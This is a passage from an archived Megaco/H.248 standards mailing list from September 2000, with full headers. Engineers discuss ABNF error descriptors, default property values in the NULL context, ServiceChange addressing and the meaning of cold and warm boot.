2. Create multiple action replies instead of one if both an error and
   a command reply have to be returned.

Any thoughts?

John

Nurit Shenhar wrote:
>
> Hi list
>
> The H.248 says the following: (
>    ....
>    command marked as Optional results in an error, subsequent commands
>    in the Transaction will be executed.  A TransactionReply includes the
>    results for all of the Commands in the corresponding
>    TransactionRequest.  The TransactionReply includes the return values
>    for the Commands that were executed successfully, and the Command and
>    error descriptor for any Command that failed.  TransactionPending is
>       .....
>
> This means that each failed command should report an error. but the syntax
> allows an error descriptor only on the action level,
> and if the error descriptor appears, there can be not CommandReply:
>
>    actionReply          = CtxToken EQUAL ContextID LBRKT
>                           ( errorDescriptor / commandReply ) RBRKT
>
>    commandReply       = (( contextProperties [COMMA commandReplyList] )
>                            / commandReplyList )
>
>    commandReplyList     = commandReplys *(COMMA commandReplys )
>
>    commandReplys        = (serviceChangeReply / auditReply / ammsReply
>                            / notifyReply )
>
> Shouldn't we have an error descriptor as one of the options in the
> CommandReplys?
>
> Best regards
>
> Nurit Shenhar
> AudioCodes Ltd.
> Direct: +972-3-539-4155
> Tel:     +972-3-539-4000
> Fax:    +972-3-539-4040
> email:  nurit.shenhar@audiocodes.com
>
> web:    <http://www.audiocodes.com>

--
John Segers                                  email: jsegers@lucent.com
Lucent Technologies                                        Room HE 303
Dept. Forward Looking Work                      phone: +31 35 687 4724
P.O. Box 18, 1270 AA  Huizen                      fax: +31 35 687 5954


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Mon Sep 11 07:15:21 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id HAA28905
	for <megaco-archive@LISTS.IETF.ORG>; Mon, 11 Sep 2000 07:15:20 -0400 (EDT)
Received: from standards (47.234.32.16:3616) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB91E08@standards.nortelnetworks.com>; Mon, 11 Sep 2000 7:00:16 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 1980 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Mon, 11 Sep 2000 07:00:16 -0400
Received: from ihemail1.firewall.lucent.com (ihemail1.lucent.com) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP
          id <0.FFB91E07@standards.nortelnetworks.com>; Mon, 11 Sep 2000
          7:00:16 -0400
Received: from ihemail1.firewall.lucent.com (localhost [127.0.0.1]) by
          ihemail1.firewall.lucent.com (Pro-8.9.3/8.9.3) with ESMTP id HAA00614
          for <MEGACO@standards.nortelnetworks.com>; Mon, 11 Sep 2000 07:13:34
          -0400 (EDT)
Received: from nlmail.nl.lucent.com (h135-85-78-211.lucent.com [135.85.78.211])
          by ihemail1.firewall.lucent.com (Pro-8.9.3/8.9.3) with ESMTP id
          HAA00566; Mon, 11 Sep 2000 07:13:28 -0400 (EDT)
Received: from lucent.com (hzsgp35.nl.lucent.com [135.85.117.145]) by
          nlmail.nl.lucent.com (8.8.8+Sun/EMS-1.5 sol2) id NAA23895; Mon, 11
          Sep 2000 13:12:51 +0200 (MET DST)
X-Mailer: Mozilla 4.75 [en] (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
References: <65256957.00377BF6.00@sandesh.hss.hns.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID:  <39BCBE12.E72C0C1E@lucent.com>
Date:         Mon, 11 Sep 2000 13:12:18 +0200
Reply-To: John Segers <jsegers@LUCENT.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: John Segers <jsegers@LUCENT.COM>
Organization: Lucent Technologies
Subject:      Re: Can MGC modify term in NULL Context ?
X-To:         sgautam@hss.hns.com
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Content-Transfer-Encoding: 7bit

Sandeep,

Packages may specify default values for properties.  Provisioning may
override these default values.  The final paragraph of section 7.2.3
specifies this behavior.

Cheers,

John

Sandeep Gautam wrote:
>
> ---------------------- Forwarded by Sandeep Gautam/HSS on 09/11/2000 03:43 PM
> ---------------------------
>
> Sandeep Gautam
> 09/11/2000 11:59 AM
>
> To:   "Rosen, Brian" <Brian.Rosen@MARCONI.COM>
> cc:
>
> Subject:  Re: Can MGC modify term in NULL Context ?  (Document link not
>       converted)
>
> Hi,
>
> >> Now we have defined "default" to be what the package definition
> >>says it should be.
>
> Does 'default' refer to values as defined in packages...or do they refer to the
> values as provisioned on the termination ( by lets say an operator sitting on
> MG). For eg. when Tom mentioned that the correct way to deal with the Echo
> Cancellation problem was to set the provisioned value to 'off' for that
> termination, isnt it obvious that a termination would revert back to this
> 'provisioned' value after subtarct rather than the default 'on' as mentioned in
> the package?
>
> Or does this provisioned value becomes default for it?
>
> Thanx and regards,
> Sandy G
>
> "Rosen, Brian" <Brian.Rosen@MARCONI.COM> on 09/09/2000 02:26:22 AM
>
> Please respond to "Rosen, Brian" <Brian.Rosen@MARCONI.COM>
>
> To:   MEGACO@STANDARDS.NORTELNETWORKS.COM
> cc:    (bcc: Sandeep Gautam/HSS)
>
> Subject:  Re: Can MGC modify term in NULL Context ?
>
> Now we have defined "default" to be what the package definition
> says it should be.
>
> Let's take, for example, tdmc/ec.  Suppose the MGC wanted to "permanently"
> disable echo cancel on a termination.  It sets
> tdmc/ec off in null context, and it stays off, unless the MGC
> turns it on for a particular call.
>
> I don't believe we ever changed that behavior, so somehow we
> screwed up the words.  Here is what the text used to say:
>
> "When a Termination is created, properties get their default values, unless
> the controller specifically sets a different value.  The default value of a
> property of a physical Termination can be changed by setting it to a
> different value when the Termination is in the null Context.  Every time
> such a Termination returns to the null Context, the values of its properties
> are reset to this default value"
>
> Brian
>
> > -----Original Message-----
> > From: Tom-PT Taylor [mailto:taylor@NORTELNETWORKS.COM]
> > Sent: Friday, September 08, 2000 3:35 PM
> > To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > Subject: Re: Can MGC modify term in NULL Context ?
> >
> >
> > Sorry, I have to contradict you on the second item.  See the last few
> > sentences of section 7.2.3.
> >
> > > -----Original Message-----
> > > From: Rosen, Brian [mailto:Brian.Rosen@MARCONI.COM]
> > > Sent: Friday, September 08, 2000 2:36 PM
> > > To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > > Subject: Re: Can MGC modify term in NULL Context ?
> > >
> > >
> > > > The question is that does the MG allow the MGC to change
> > the package
> > > > property values associated with a termination in NULL context ??
> > > For a physical termination, yes, absolutely
> > >
> > > >
> > > > And, if the answer is yes does this change the default values of
> > > > the package properties associated with the termination.
> > > > OR, does it only modify the properties temporarily for now. If the
> > > > termination is subsequently added and subtracted to and from
> > > > a context,
> > > > respectively the property values change to the default values
> > > > before MGC modified them in NULL context.
> > > It changes the current value, and the termination returns to
> > > this value when it is subtracted.  You can think of this as
> > > changing the default value, although it's volatile.
> > >
> > > Brian
> > >
> >

--
John Segers                                  email: jsegers@lucent.com
Lucent Technologies                                        Room HE 303
Dept. Forward Looking Work                      phone: +31 35 687 4724
P.O. Box 18, 1270 AA  Huizen                      fax: +31 35 687 5954


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Mon Sep 11 07:19:56 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id HAA28952
	for <megaco-archive@LISTS.IETF.ORG>; Mon, 11 Sep 2000 07:19:55 -0400 (EDT)
Received: from standards (47.234.32.16:3616) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB91E27@standards.nortelnetworks.com>; Mon, 11 Sep 2000 7:04:37 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 2019 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Mon, 11 Sep 2000 07:04:37 -0400
Received: from ihemail1.firewall.lucent.com (ihemail1.lucent.com) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP
          id <0.FFB91E26@standards.nortelnetworks.com>; Mon, 11 Sep 2000
          7:04:37 -0400
Received: from ihemail1.firewall.lucent.com (localhost [127.0.0.1]) by
          ihemail1.firewall.lucent.com (Pro-8.9.3/8.9.3) with ESMTP id HAA02885
          for <MEGACO@standards.nortelnetworks.com>; Mon, 11 Sep 2000 07:17:54
          -0400 (EDT)
Received: from nlmail.nl.lucent.com (h135-85-78-211.lucent.com [135.85.78.211])
          by ihemail1.firewall.lucent.com (Pro-8.9.3/8.9.3) with ESMTP id
          HAA02329 for <MEGACO@standards.nortelnetworks.com>; Mon, 11 Sep 2000
          07:16:48 -0400 (EDT)
Received: from lucent.com (hzsgp35.nl.lucent.com [135.85.117.145]) by
          nlmail.nl.lucent.com (8.8.8+Sun/EMS-1.5 sol2) id NAA23984; Mon, 11
          Sep 2000 13:16:42 +0200 (MET DST)
X-Mailer: Mozilla 4.75 [en] (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
References: <81C3E8FE6C0AD4119D49009027C3AAB25DABBE@MAIL-IN>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID:  <39BCBEF9.C1D83F6C@lucent.com>
Date:         Mon, 11 Sep 2000 13:16:09 +0200
Reply-To: John Segers <jsegers@LUCENT.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: John Segers <jsegers@LUCENT.COM>
Organization: Lucent Technologies
Subject:      Re: Error Descriptor
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Content-Transfer-Encoding: 7bit

Nurit,

Your statement is correct: the case where execution of an optional (o-)
command generates multiple errors is not covered.  I never thought of
this one.

I agree that using multiple action replies is not very nice.  The reason
I mentioned it as an option is that it is a solution that doesn't
require a syntactic change.  The other solution, semantically better,
does require syntax changes.

Cheers,

John

Nurit Shenhar wrote:
>
> Hi John
>
> The ASN.1 permits having an error descriptor and the sequence of
> CommandReply. But still, if you have more than one command that failed, you
> can not have two error descriptors for each command, as the descriptor is
> per action.
>
> I don't like the idea of multiple ActionReplys. It will be difficult to
> match the request with the reply that way.
>
> Nurit
>
> -----Original Message-----
> From: John Segers [mailto:jsegers@LUCENT.COM]
> Sent: Monday, September 11, 2000 12:22 PM
> To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject: Re: Error Descriptor
>
> Nurit,
>
> This indeed seems to be an error in the ABNF.  The ASN.1 structures do
> support the functionality described in the text you quoted from 8.2.2.
>
> I think that there are two options for resolving this issue.
>
> 1. Change the ABNF to match the structure of the ASN.1.
> 2. Create multiple action replies instead of one if both an error and
>    a command reply have to be returned.
>
> Any thoughts?
>
> John
>
> Nurit Shenhar wrote:
> >
> > Hi list
> >
> > The H.248 says the following: (
> >    ....
> >    command marked as Optional results in an error, subsequent commands
> >    in the Transaction will be executed.  A TransactionReply includes the
> >    results for all of the Commands in the corresponding
> >    TransactionRequest.  The TransactionReply includes the return values
> >    for the Commands that were executed successfully, and the Command and
> >    error descriptor for any Command that failed.  TransactionPending is
> >       .....
> >
> > This means that each failed command should report an error. but the syntax
> > allows an error descriptor only on the action level,
> > and if the error descriptor appears, there can be not CommandReply:
> >
> >    actionReply          = CtxToken EQUAL ContextID LBRKT
> >                           ( errorDescriptor / commandReply ) RBRKT
> >
> >    commandReply       = (( contextProperties [COMMA commandReplyList] )
> >                            / commandReplyList )
> >
> >    commandReplyList     = commandReplys *(COMMA commandReplys )
> >
> >    commandReplys        = (serviceChangeReply / auditReply / ammsReply
> >                            / notifyReply )
> >
> > Shouldn't we have an error descriptor as one of the options in the
> > CommandReplys?
> >
> > Best regards
> >
> > Nurit Shenhar
> > AudioCodes Ltd.
> > Direct: +972-3-539-4155
> > Tel:     +972-3-539-4000
> > Fax:    +972-3-539-4040
> > email:  nurit.shenhar@audiocodes.com
> >
> > web:    <http://www.audiocodes.com>
>
> --
> John Segers                                  email: jsegers@lucent.com
> Lucent Technologies                                        Room HE 303
> Dept. Forward Looking Work                      phone: +31 35 687 4724
> P.O. Box 18, 1270 AA  Huizen                      fax: +31 35 687 5954

--
John Segers                                  email: jsegers@lucent.com
Lucent Technologies                                        Room HE 303
Dept. Forward Looking Work                      phone: +31 35 687 4724
P.O. Box 18, 1270 AA  Huizen                      fax: +31 35 687 5954


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Mon Sep 11 07:45:43 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id HAA29548
	for <megaco-archive@LISTS.IETF.ORG>; Mon, 11 Sep 2000 07:45:41 -0400 (EDT)
Received: from standards (47.234.32.16:2084) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB91E54@standards.nortelnetworks.com>; Mon, 11 Sep 2000 7:30:47 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 2079 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Mon, 11 Sep 2000 07:30:47 -0400
Received: from ihemail1.firewall.lucent.com (ihemail1.lucent.com) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP
          id <0.FFB91E53@standards.nortelnetworks.com>; Mon, 11 Sep 2000
          7:30:41 -0400
Received: from ihemail1.firewall.lucent.com (localhost [127.0.0.1]) by
          ihemail1.firewall.lucent.com (Pro-8.9.3/8.9.3) with ESMTP id HAA19218
          for <MEGACO@standards.nortelnetworks.com>; Mon, 11 Sep 2000 07:43:59
          -0400 (EDT)
Received: from nlmail.nl.lucent.com (h135-85-78-211.lucent.com [135.85.78.211])
          by ihemail1.firewall.lucent.com (Pro-8.9.3/8.9.3) with ESMTP id
          HAA19195 for <MEGACO@standards.nortelnetworks.com>; Mon, 11 Sep 2000
          07:43:58 -0400 (EDT)
Received: from lucent.com (hzsgp35.nl.lucent.com [135.85.117.145]) by
          nlmail.nl.lucent.com (8.8.8+Sun/EMS-1.5 sol2) id NAA24675; Mon, 11
          Sep 2000 13:43:24 +0200 (MET DST)
X-Mailer: Mozilla 4.75 [en] (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
References: <81C3E8FE6C0AD4119D49009027C3AAB25DABBE@MAIL-IN>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID:  <39BCC53B.CE4BE947@lucent.com>
Date:         Mon, 11 Sep 2000 13:42:51 +0200
Reply-To: John Segers <jsegers@LUCENT.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: John Segers <jsegers@LUCENT.COM>
Organization: Lucent Technologies
Subject:      Re: Error Descriptor
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Content-Transfer-Encoding: 7bit

Nurit,

I checked the protocol document after I sent my previous reply and
learnt that my memory is is not as good as I'd like it to be:
serviceChangeReply, auditReply, ammsReply, and notifyReply can all
contain error descriptors.  notifyReply and serviceChangeReply contain
error descriptors directly:

notifyReply          = NotifyToken EQUAL TerminationID
                       [ LBRKT errorDescriptor RBRKT ]
...
serviceChangeReply   = ServiceChangeToken EQUAL TerminationID
                       [LBRKT (errorDescriptor /
                       serviceChangeReplyDescriptor) RBRKT]

ammsReply and auditReply refer to terminationAudit, and that contains
errorDescriptor.

Sorry about the wasted bandwidth!

Cheers,

John

Nurit Shenhar wrote:
>
> Hi John
>
> The ASN.1 permits having an error descriptor and the sequence of
> CommandReply. But still, if you have more than one command that failed, you
> can not have two error descriptors for each command, as the descriptor is
> per action.
>
> I don't like the idea of multiple ActionReplys. It will be difficult to
> match the request with the reply that way.
>
> Nurit
>
> -----Original Message-----
> From: John Segers [mailto:jsegers@LUCENT.COM]
> Sent: Monday, September 11, 2000 12:22 PM
> To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject: Re: Error Descriptor
>
> Nurit,
>
> This indeed seems to be an error in the ABNF.  The ASN.1 structures do
> support the functionality described in the text you quoted from 8.2.2.
>
> I think that there are two options for resolving this issue.
>
> 1. Change the ABNF to match the structure of the ASN.1.
> 2. Create multiple action replies instead of one if both an error and
>    a command reply have to be returned.
>
> Any thoughts?
>
> John
>
> Nurit Shenhar wrote:
> >
> > Hi list
> >
> > The H.248 says the following: (
> >    ....
> >    command marked as Optional results in an error, subsequent commands
> >    in the Transaction will be executed.  A TransactionReply includes the
> >    results for all of the Commands in the corresponding
> >    TransactionRequest.  The TransactionReply includes the return values
> >    for the Commands that were executed successfully, and the Command and
> >    error descriptor for any Command that failed.  TransactionPending is
> >       .....
> >
> > This means that each failed command should report an error. but the syntax
> > allows an error descriptor only on the action level,
> > and if the error descriptor appears, there can be not CommandReply:
> >
> >    actionReply          = CtxToken EQUAL ContextID LBRKT
> >                           ( errorDescriptor / commandReply ) RBRKT
> >
> >    commandReply       = (( contextProperties [COMMA commandReplyList] )
> >                            / commandReplyList )
> >
> >    commandReplyList     = commandReplys *(COMMA commandReplys )
> >
> >    commandReplys        = (serviceChangeReply / auditReply / ammsReply
> >                            / notifyReply )
> >
> > Shouldn't we have an error descriptor as one of the options in the
> > CommandReplys?
> >
> > Best regards
> >
> > Nurit Shenhar
> > AudioCodes Ltd.
> > Direct: +972-3-539-4155
> > Tel:     +972-3-539-4000
> > Fax:    +972-3-539-4040
> > email:  nurit.shenhar@audiocodes.com
> >
> > web:    <http://www.audiocodes.com>
>
> --
> John Segers                                  email: jsegers@lucent.com
> Lucent Technologies                                        Room HE 303
> Dept. Forward Looking Work                      phone: +31 35 687 4724
> P.O. Box 18, 1270 AA  Huizen                      fax: +31 35 687 5954

--
John Segers                                  email: jsegers@lucent.com
Lucent Technologies                                        Room HE 303
Dept. Forward Looking Work                      phone: +31 35 687 4724
P.O. Box 18, 1270 AA  Huizen                      fax: +31 35 687 5954


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Mon Sep 11 08:48:39 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id IAA01129
	for <megaco-archive@LISTS.IETF.ORG>; Mon, 11 Sep 2000 08:48:38 -0400 (EDT)
Received: from standards (47.234.32.16:3445) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB91E86@standards.nortelnetworks.com>; Mon, 11 Sep 2000 8:33:01 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 2143 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Mon, 11 Sep 2000 08:33:01 -0400
Received: from qhars002.nortel.com (47.101.112.102:65413) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP
          id <0.FFB91E85@standards.nortelnetworks.com>; Mon, 11 Sep 2000
          8:33:01 -0400
Received: from smtprch1.nortel.com (actually erchg0j) by qhars002.nortel.com;
          Mon, 11 Sep 2000 13:46:00 +0100
Received: from zrchb213.us.nortel.com (actually zrchb213) by
          smtprch1.nortel.com; Mon, 11 Sep 2000 07:45:53 -0500
Received: by zrchb213.us.nortel.com with Internet Mail Service (5.5.2652.35) id
          <SVJ7T9BD>; Mon, 11 Sep 2000 07:45:48 -0500
X-Mailer: Internet Mail Service (5.5.2652.35)
Message-ID:  <28560036253BD41191A10000F8BCBD11480D5D@zcard00g.ca.nortel.com>
Date:         Mon, 11 Sep 2000 07:45:49 -0500
Reply-To: Tom-PT Taylor <taylor@NORTELNETWORKS.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Tom-PT Taylor <taylor@NORTELNETWORKS.COM>
Subject:      Re: Use of Service Change Address
X-To:         "prjain@HSS.HNS.COM" <prjain@HSS.HNS.COM>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

By definition (based on procedures recorded in the document), DISCONNECTED
means that there is probably a state mismatch between the MG and MGC.  You
should probably use FORCED instead.

And this looks like a situation where the MGC would be justified in
initiating a new TCP connection.  Does anyone else care to comment?

> -----Original Message-----
> From: Prashant Jain [mailto:prjain@HSS.HNS.COM]
> Sent: Sunday, September 10, 2000 8:33 AM
> To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject: Use of Service Change Address
>
>
> Hi Brian, Tom, List,
>
> Can the Service Change Address Parameter be used in the
> following scenario:
>
> Consider MG/MGC application running over a multi-homed host
> with a single copy
> or multiple redundant copies of TCP/IP
> Stack in the case of IP networks. Here it is assumed that
> MG/MGC application do
> not support redundancy at their level.
>
> Now, if any network interface card or an active copy of
> TCP/IP Stack fails,
> System management running in the system may wish to
> change the local ID i.e. may use another card  or use the
> standby copy with
> different IP address configured for it.  In this scenario, protocol
> must  specify a way to communicate this information (of Local
> Address Change) to
> the other entity without breaking the existing association.
>
> As per the current text of the protocol,  can we send a
> Service Change Request
> to the other entity with DISCONNECTED method, Service Change
> Reason as  "Loss of
> Lower Layer Connectivity" and Service Change Address as the
> new specified local
> address to take care of the above scenario.
>
> Please do reply.
>
> Prashant Jain
> HUghes Software Systems
>


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Mon Sep 11 08:53:21 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id IAA01199
	for <megaco-archive@LISTS.IETF.ORG>; Mon, 11 Sep 2000 08:53:16 -0400 (EDT)
Received: from standards (47.234.32.16:3445) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB91EA3@standards.nortelnetworks.com>; Mon, 11 Sep 2000 8:38:04 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 2179 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Mon, 11 Sep 2000 08:38:03 -0400
Received: from qhars002.nortel.com (47.101.112.102:33787) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP
          id <0.FFB91EA2@standards.nortelnetworks.com>; Mon, 11 Sep 2000
          8:38:03 -0400
Received: from zrtps06s.us.nortel.com by qhars002.nortel.com; Mon, 11 Sep 2000
          13:50:22 +0100
Received: from zrtpd004.us.nortel.com by zrtps06s.us.nortel.com; Mon, 11 Sep
          2000 08:49:30 -0400
Received: by zrtpd004.us.nortel.com with Internet Mail Service (5.5.2652.35) id
          <S37A17H6>; Mon, 11 Sep 2000 08:49:32 -0400
X-Mailer: Internet Mail Service (5.5.2652.35)
X-Orig: <taylor@americasm01.nt.com>
Message-ID:  <28560036253BD41191A10000F8BCBD11480D5E@zcard00g.ca.nortel.com>
Date:         Mon, 11 Sep 2000 08:49:28 -0400
Reply-To: Tom-PT Taylor <taylor@NORTELNETWORKS.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Tom-PT Taylor <taylor@NORTELNETWORKS.COM>
Subject:      Re: Significance of WARM Boot
X-To:         "prjain@HSS.HNS.COM" <prjain@HSS.HNS.COM>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

In both cases, provisioned values are preserved.  The usual distinctions
are:
 - cold boot: all non-NULL contexts are cleared
 - warm boot: transactions in process may be lost, but otherwise all state
is preserved
 - hot standby: no state loss as a result of the transition

> -----Original Message-----
> From: Prashant Jain [mailto:prjain@HSS.HNS.COM]
> Sent: Sunday, September 10, 2000 8:44 AM
> To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject: Significance of WARM Boot
>
>
> Hi Brian, Tom, List,
>
> Can anyone explain the difference between the COLD Boot and
> the WARM Boot as
> Service Change Reasons.
>
> Does it mean that in the case of COLD boot,  everything is
> powered on from the
> begining. However in the case of WARM boot, provisioned data
> at MG may be
> preserved as it is, but all the active and the transient
> calls are cleared of
> its own.
>
> Please calrify.
>
> Prashant Jain
> Hughes Software Systems
>


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Mon Sep 11 09:07:35 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id JAA01448
	for <megaco-archive@LISTS.IETF.ORG>; Mon, 11 Sep 2000 09:07:35 -0400 (EDT)
Received: from standards (47.234.32.16:3445) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB91EC8@standards.nortelnetworks.com>; Mon, 11 Sep 2000 8:52:32 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 2227 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Mon, 11 Sep 2000 08:52:31 -0400
Received: from qhars002.nortel.com (47.101.112.102:36240) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP
          id <0.FFB91EC7@standards.nortelnetworks.com>; Mon, 11 Sep 2000
          8:52:27 -0400
Received: from ertpg14e1.nortelnetworks.com (actually zrtph06m) by
          qhars002.nortel.com; Mon, 11 Sep 2000 14:05:31 +0100
Received: from zrtpd004.us.nortel.com (actually zrtpd004) by
          ertpg14e1.nortelnetworks.com; Mon, 11 Sep 2000 09:04:08 -0400
Received: by zrtpd004.us.nortel.com with Internet Mail Service (5.5.2652.35) id
          <S37A179Q>; Mon, 11 Sep 2000 09:04:06 -0400
X-Mailer: Internet Mail Service (5.5.2652.35)
Message-ID:  <28560036253BD41191A10000F8BCBD11480D5F@zcard00g.ca.nortel.com>
Date:         Mon, 11 Sep 2000 09:04:00 -0400
Reply-To: Tom-PT Taylor <taylor@NORTELNETWORKS.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Tom-PT Taylor <taylor@NORTELNETWORKS.COM>
Subject:      Re: Error Descriptor
X-To:         Nurit Shenhar <nurit.shenhar@AUDIOCODES.COM>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

What John said in his latest note is that if you follow the chain:
 actionReply -> commandReply -> commandReplyList -> commandReplys
 -> (serviceChangeReply -> ... errorDescriptor
   / auditReply -> auditOther -> terminationAudit
   / ammsReply -> ... terminationAudit
   / notifyReply -> ... errorDescriptor )
and
  terminationAudit -> auditReturnParameter -> errorDescriptor

You have what you need on a per-command basis.

> -----Original Message-----
> From: Nurit Shenhar [mailto:nurit.shenhar@AUDIOCODES.COM]
> Sent: Monday, September 11, 2000 7:48 AM
> To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject: Re: Error Descriptor
>
>
> Hi John
>
> The ASN.1 permits having an error descriptor and the sequence of
> CommandReply. But still, if you have more than one command
> that failed, you
> can not have two error descriptors for each command, as the
> descriptor is
> per action.
>
> I don't like the idea of multiple ActionReplys. It will be
> difficult to
> match the request with the reply that way.
>
> Nurit
>
> -----Original Message-----
> From: John Segers [mailto:jsegers@LUCENT.COM]
> Sent: Monday, September 11, 2000 12:22 PM
> To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject: Re: Error Descriptor
>
>
> Nurit,
>
> This indeed seems to be an error in the ABNF.  The ASN.1 structures do
> support the functionality described in the text you quoted from 8.2.2.
>
> I think that there are two options for resolving this issue.
>
> 1. Change the ABNF to match the structure of the ASN.1.
> 2. Create multiple action replies instead of one if both an error and
>    a command reply have to be returned.
>
> Any thoughts?
>
> John
>
> Nurit Shenhar wrote:
> >
> > Hi list
> >
> > The H.248 says the following: (
> >    ....
> >    command marked as Optional results in an error,
> subsequent commands
> >    in the Transaction will be executed.  A TransactionReply
> includes the
> >    results for all of the Commands in the corresponding
> >    TransactionRequest.  The TransactionReply includes the
> return values
> >    for the Commands that were executed successfully, and
> the Command and
> >    error descriptor for any Command that failed.
> TransactionPending is
> >       .....
> >
> > This means that each failed command should report an error.
> but the syntax
> > allows an error descriptor only on the action level,
> > and if the error descriptor appears, there can be not CommandReply:
> >
> >    actionReply          = CtxToken EQUAL ContextID LBRKT
> >                           ( errorDescriptor / commandReply ) RBRKT
> >
> >    commandReply       = (( contextProperties [COMMA
> commandReplyList] )
> >                            / commandReplyList )
> >
> >    commandReplyList     = commandReplys *(COMMA commandReplys )
> >
> >    commandReplys        = (serviceChangeReply / auditReply
> / ammsReply
> >                            / notifyReply )
> >
> > Shouldn't we have an error descriptor as one of the options in the
> > CommandReplys?
> >
> > Best regards
> >
> > Nurit Shenhar
> > AudioCodes Ltd.
> > Direct: +972-3-539-4155
> > Tel:     +972-3-539-4000
> > Fax:    +972-3-539-4040
> > email:  nurit.shenhar@audiocodes.com
> >
> > web:    <http://www.audiocodes.com>
>
> --
> John Segers                                  email: jsegers@lucent.com
> Lucent Technologies                                        Room HE 303
> Dept. Forward Looking Work                      phone: +31 35 687 4724
> P.O. Box 18, 1270 AA  Huizen                      fax: +31 35 687 5954
>


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Mon Sep 11 09:12:35 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id JAA01554
	for <megaco-archive@LISTS.IETF.ORG>; Mon, 11 Sep 2000 09:12:34 -0400 (EDT)
Received: from standards (47.234.32.16:3445) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB91EE8@standards.nortelnetworks.com>; Mon, 11 Sep 2000 8:57:29 -0400
